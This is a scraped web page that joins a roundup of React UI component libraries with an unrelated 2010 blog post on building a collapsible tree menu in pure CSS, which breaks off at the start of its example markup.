Has APIs for both CSS and JS
Built with Typescript, examples are also in Typescript
Flexible and customizable styles built with Sass
Extensive Documentation

Blueprint

Ant Design

Yet another design system that its professional design makes it perfect to use it on enterprise projects. It's easy to start and it also supports server-side rendering and Electron.

Enterprise design
Huge number of components
create-react-app example
Works on Browser, server-side rendering and Electron
Customizable theme
Straightforward documentation
Available for React Native

Ant Design

Semantic UI

Semantic UI is a beautiful user interface that is super easy and enjoyable to work with. I've built several apps with it before and will do again.

Beautiful design
Super easy to start with
Simple declarative component APIs
Well documented

Semantic UI

React-Bootstrap

Currently the best implementation of Bootstrap for React. It has built upon Bootstrap 3 and as they mention in their website, it's under active development and APIs will change.

Almost every Bootstrap 3 components available for React
Easy to setup and use
Under active development, unstable APIs

React-Bootstrap

Fabric

Use the whole Microsoft Office styles, components and icons with React. Maintained officially by Office.

Offical Office UI framework for React
Includes Office fonts and icons
Microsoft’s palette
Extensive APIs for components
Best practices guides for each component

Fabric

AtlasKit

AtlasKit is Atlassian's official UI library, built according to the Atlassian design guidelines.

atlaskit-starter creates a React app with AtlasKit components
Lots of well crafted components
Has it's own design guidelines

AtlasKit

React Desktop

React Desktop aims to bring a native desktop experience to the web, featuring many macOS Sierra and Windows 10 components.

Native-like macOS and Windows 10 components
Works perfectly with NW.js and Electron.js

React Desktop

Cloudflare UI

Cloudflares UI framework has +50 packages and it uses CSS in JS for its components. The design looks suitable for corporate websites.

Corporate design style
CSS in JS solution
Huge number of components

Cloudflare UI

React Toolbox

Another UI framework that implements Google's Material design system. It uses CSS Modules to import stylesheets.

Good implementation of Material design
Powered by CSS Modules
Needs Webpack or another module bundler

React Toolbox

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Pure CSS collapsible tree menu – Ryan Seddon

Pure CSS collapsible tree menu – Ryan Seddon set Restriction

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Ryan Seddon

Author Ryan Seddon

Posted on July 14, 2010

Categories cssTags css3, pure css

Pure CSS collapsible tree menu

The classic tree view, we all know it, it’s used everywhere and it definitely can be useful in the right context. I’ve seen various examples about doing it with CSS and they’ve all required JavaScript. Not content with any of those solutions I investigated doing it with pure CSS, I got a good head start from my Custom Radio and Checkbox inputs article. From there I’ve come up with a solution that works pretty well.

Another demo, another bug

Everything I seem to investigate lately seems to present itself with an annoying bug/feature in various browsers. Last time it was the inconsistency between browsers and generated content on form elements. This time it is WebKit not being able to apply styles using the checked pseudo-class in conjunction with a general sibling combinator (E ~ F) or chained adjacent sibling combinator (E + F + F). Making it very hard, and probably the reason I haven’t seen a CSS solution that works in WebKit browsers. I did come across this demo but due to the bug mentioned above doesn’t work in WebKit browsers.

So I soldiered on and came up with a pretty decent attempt, and remember folks I’m not a designer so be kinder this time with design critiques all I’m doing is showing you how to do the technique ;). With that out of the way let’s dig into the inner workings and road blocks I faced.

General sibling combinators are flaky

The CSS3 selector module has a very useful addition to compliment the CSS2.1 adjacent sibling combinator. Unlike the adjacent selector the general selector gives us some flexibility in that it will match a sibling that isn’t immediately preceded by our first element.

Great, I have 3 elements an , &

input:checked ~ ol

input ~ ol

So I dug into WebKits bug tracker and came out with this bug which has been around since 2007. Stating that general sibling combinators in combination with dynamic CSS, ala :checked, won’t reflect changes. Nor will it do chained adjacent combinator which was going to be my next solution.

However doing :checked with a single adjacent sibling combinator works fine in post 2008 WebKit browsers. So using this information I went about and built a working demo that has good browser support.

View live demo Download the source files

The demo is built using an ordered list (ol) nested with further ordered lists to naturally represent a basic folder structure.

File 1
Subfolder 1
1. File 2
2. File 2
3. File 2